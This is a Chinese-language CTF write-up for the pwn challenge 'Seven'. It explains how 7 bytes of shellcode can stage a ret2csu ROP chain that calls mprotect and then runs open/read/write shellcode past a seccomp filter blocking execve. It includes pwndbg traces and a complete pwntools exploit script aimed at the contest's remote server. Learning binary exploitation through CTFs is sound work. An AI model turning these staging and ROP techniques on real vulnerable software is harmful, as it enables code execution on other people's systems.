2025星芒杯-PWN-Seven
老规矩先checksec
1 2 3 4 5 6 7 8
| Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
|
基本没什么保护
直接看IDA
main:
1 2 3 4 5 6 7 8
| int __fastcall main(int argc, const char **argv, const char **envp) { setbuf(stdout, 0LL); setbuf(stdin, 0LL); seccomp(); vuln(); return 0; }
|
可以看见主函数调用了seccomp看一下禁用了什么
1 2 3 4 5 6 7 8 9 10 11 12
| > seccomp-tools dump ./seven line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008 0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008 0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x06 0x00 0x00 0x00000000 return KILL
|
只禁用了execve和execveat第一想法是打ORW,
但是在vuln函数中我们发现了一些问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| void *vuln() { void *result; void *buf;
result = mmap((void *)0x600000, 0x1000uLL, 7, 1048610, -1, 0LL); buf = result; if ( result != (void *)-1LL ) { puts("Do you know what 7 characters can do?"); read(0, buf, 7uLL); mprotect(buf, 0x1000uLL, 5); return (void *)((__int64 (*)(void))buf)(); } return result; }
|
没有溢出,且允许读入的字节只有7个字节大小
先简单分析一下程序逻辑:
首先创建了一块0x600000-0x601000范围的区域,且具有RWX权限
然后检查 mmap内存映射是否成功
接着让我们读入七个字节,然后将刚刚那块内存区域的权限修改为RX权限,最后执行我们刚刚读入的数据
原来的思路是构造read的系统调用,然后将我们的orw读取到0x600008然后执行的,但是 mprotect(buf, 0x1000uLL, 5);打断了这一思路
换个思路,我们可以通过调用mprotect来重新修改0x600000这块区域的权限为RWX然后再构建一次读入orw最后执行输出flag
那我们怎么实现7字节来调用这么多函数呢,ret2csu
首先我们得构造这样一个read的系统调用
1 2 3 4 5 6 7
| read = asm(""" xor edi,edi pop rsi pop rsi syscall ret """)
|
我们的xor edi,edi为两个字节,两个pop rsi为2个字节,syscall为两个字节,ret为一个字节,刚刚好为7字节,满足了字节大小那能做些什么呢
直接到pwndbg里看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ──────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off RAX 0 RBX 0 RCX 0x79569b51eb1b (mprotect+11) ◂— cmp rax, -0xfff RDX 0x600000 ◂— xor edi, edi RDI 0x600000 ◂— xor edi, edi RSI 0x1000 R8 0x25 R9 0 R10 0x79569b4082e0 ◂— 0xf0022000056ec R11 0x202 R12 0x7fffd30df6a8 —▸ 0x7fffd30e1376 ◂— 0x6e657665732f2e /* './seven' */ R13 0x401301 (main) ◂— endbr64 R14 0 R15 0x79569b7a8040 (_rtld_global) —▸ 0x79569b7a92e0 ◂— 0 RBP 0x7fffd30df580 —▸ 0x7fffd30df590 ◂— 1 *RSP 0x7fffd30df568 —▸ 0x4012fe (vuln+127) ◂— nop *RIP 0x600000 ◂— xor edi, edi ───────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ► 0x600000 xor edi, edi EDI => 0 0x600002 pop rsi RSI => 0x4012fe (vuln+127) 0x600003 pop rsi RSI => 0x7fffd30df590 0x600004 syscall <SYS_read> 0x600006 ret 0x600007 add byte ptr [rax], al 0x600009 add byte ptr [rax], al 0x60000b add byte ptr [rax], al 0x60000d add byte ptr [rax], al 0x60000f add byte ptr [rax], al 0x600011 add byte ptr [rax], al ────────────────────────────────────────────────────────────────────[ STACK 00:0000│ rsp 0x7fffd30df568 —▸ 0x4012fe (vuln+127) ◂— nop 01:0008│-010 0x7fffd30df570 —▸ 0x7fffd30df590 ◂— 1 02:0010│-008 0x7fffd30df578 —▸ 0x600000 ◂— xor edi, edi 03:0018│ rbp 0x7fffd30df580 —▸ 0x7fffd30df590 ◂— 1 04:0020│+008 0x7fffd30df588 —▸ 0x401345 (main+68) ◂— mov eax, 0 05:0028│+010 0x7fffd30df590 ◂— 1 06:0030│+018 0x7fffd30df598 —▸ 0x79569b429d90 (__libc_start_call_main+128) ◂— mov edi, eax 07:0038│+020 0x7fffd30df5a0 ◂— 0 ──────────────────────────────────────────────────────────────────[ BACKTRACE ► 0 0x600000 None 1 0x4012fe vuln+127 2 0x401345 main+68 3 0x79569b429d90 __libc_start_call_main+128 4 0x79569b429e40 __libc_start_main+128 5 0x40115e _start+46 ──────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg>
|
可以看见此时rsp ->0x7fffd30df568,我们的rdx控制的是读入字节大小不用管,rdi也已经控制为0了,但是我们如果进行两次pop rsi,我们就可以通过read调用来修改rbp 0x7fffd30df580 —▸ 0x7fffd30df590 中的数据为我们的ROP链,然后再执行一次ret重新执行一遍我们的’read‘来执行我们的rop链
1 2 3 4 5
| ► 0x600004 syscall <SYS_read> fd: 0 (pipe:[48180]) buf: 0x7fffd30df590 ◂— 1 nbytes: 0x600000 ◂— xor edi, edi 0x600006 ret
|
执行ret:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 0x600006 ret <0x600000> ↓ 0x600000 xor edi, edi EDI => 0 0x600002 pop rsi RSI => 0x4012fe (vuln+127) 0x600003 pop rsi RSI => 0x7ffed6eb59c0 0x600004 syscall <SYS_read> ► 0x600006 ret <0x600000> ↓ 0x600000 xor edi, edi EDI => 0 0x600002 pop rsi RSI => 0x7ffed6eb59c0 0x600003 pop rsi RSI => 0x401345 (main+68) 0x600004 syscall <SYS_io_submit> 0x600006 ret <0x600000> ────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7ffed6eb59a8 —▸ 0x600000 ◂— xor edi, edi 01:0008│ rbp 0x7ffed6eb59b0 —▸ 0x7ffed6eb59c0 —▸ 0x4013a6 (__libc_csu_init+86) ◂— add rsp, 8
|
再次ret:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 0x600006 ret <__libc_csu_init+86> ↓ 0x600000 xor edi, edi EDI => 0 0x600002 pop rsi RSI => 0x7ffed6eb59c0 0x600003 pop rsi RSI => 0x401345 (main+68) 0x600004 syscall <SYS_io_submit> ► 0x600006 ret <__libc_csu_init+86> ↓ 0x4013a6 <__libc_csu_init+86> add rsp, 8 RSP => 0x7ffed6eb59d0 (0x7ffed6eb59c8 + 0x8) 0x4013aa <__libc_csu_init+90> pop rbx RBX => 0 0x4013ab <__libc_csu_init+91> pop rbp RBP => 1 0x4013ac <__libc_csu_init+92> pop r12 R12 => 0x600000 0x4013ae <__libc_csu_init+94> pop r13 R13 => 0x1000 ────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7ffed6eb59c0 —▸ 0x4013a6 (__libc_csu_init+86) ◂— add rsp, 8 ;这里rsp应该是0x7fffd30df590的,但是由于我重新调试了一遍,地址变了,但是流程还是一样的
|
可以看见此时开始执行了我们的ROP链,后面就是利用mprotect修改权限然后read读入ORW最后返回到我们的ORW地址执行ORW
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| RIP 0x40101a (_init+26) ◂— ret ───────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on 0x4013ac <__libc_csu_init+92> pop r12 R12 => 0x6161616161616161 0x4013ae <__libc_csu_init+94> pop r13 R13 => 0x6161616161616161 0x4013b0 <__libc_csu_init+96> pop r14 R14 => 0x6161616161616161 0x4013b2 <__libc_csu_init+98> pop r15 R15 => 0x6161616161616161 0x4013b4 <__libc_csu_init+100> ret <_init+26> ↓ ► 0x40101a <_init+26> ret <0x600008> ↓ 0x600008 mov edi, 0x1010101 EDI => 0x1010101 0x60000d xor edi, 0x1610101 EDI => 0x600000 (0x1010101 ^ 0x1610101) 0x600013 xor edx, edx EDX => 0 0x600015 xor esi, esi ESI => 0 0x600017 push 2 ────────────────────────────────────────────────────────────────────[ STACK 00:0000│ rsp 0x7ffe81709228 —▸ 0x600008 ◂— mov edi, 0x1010101 /* 0x1f78101010101bf */
|
1 2 3 4 5 6 7 8 9 10 11 12
| [DEBUG] Received 0x80 bytes: 00000000 66 6c 61 67 7b 65 78 61 6d 70 6c 65 7d 0a 00 00 │flag│{exa│mple│}···│ 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000080 flag{example} \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$ [*] Got EOF while reading in interactive $ [*] Interrupted [*] Process './seven' stopped with exit code -11 (SIGSEGV) (pid 5061)
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import * from LibcSearcher import* context.log_level = 'debug' context.arch = 'amd64' psl = lambda data : p.sendline(data) ps = lambda data : p.send(data) pc = lambda data : p.recvuntil(data) ph = lambda data : print(hex(data)) uu64 = lambda : u64(pc(b'\x7f')[-6::].ljust(8,b'\x00')) binary_name = './seven'
HOST = "nc1.ctfplus.cn" PORT = 25268 choice = input("Please input yes->Process,no->Remote") if "y" in choice: p = process(binary_name) elif "n" in choice: p = remote(HOST,PORT)
e = ELF(binary_name) def bug(): gdb.attach(p) pause()
def exp(): pc("Do you know what 7 characters can do?") read = asm(""" xor edi,edi pop rsi pop rsi syscall ret """) print(len(read)) rdi = 0x00000000004013b3 gadget1 = 0x401390 gadget2 = 0x4013a6 ret = 0x000000000040101a bug() ps(read) ret = 0x000000000040101a p1 = p64(gadget2)+p64(0)+p64(0)+p64(1)+p64(0x600000)+p64(0x1000)+p64(0x7)+p64(e.got['mprotect'])+p64(gadget1) p1+=p64(0)+p64(0)+p64(1)+p64(0)+p64(0x600000)+p64(0x1000)+p64(e.got['read'])+p64(gadget1)+b'a'*0x38+p64(ret)+p64(0x600008) psl(p1) flag_str = 0x600000 flag_content = 0x600f00 orw = b'/flag\x00\x00\x00' orw += asm(shellcraft.open(flag_str)) orw += asm(shellcraft.read(3, flag_content, 0x80)) orw += asm(shellcraft.write(1, flag_content, 0x80)) pause() psl(orw) p.interactive() exp()
|
cao-png.github.io感谢提供的思路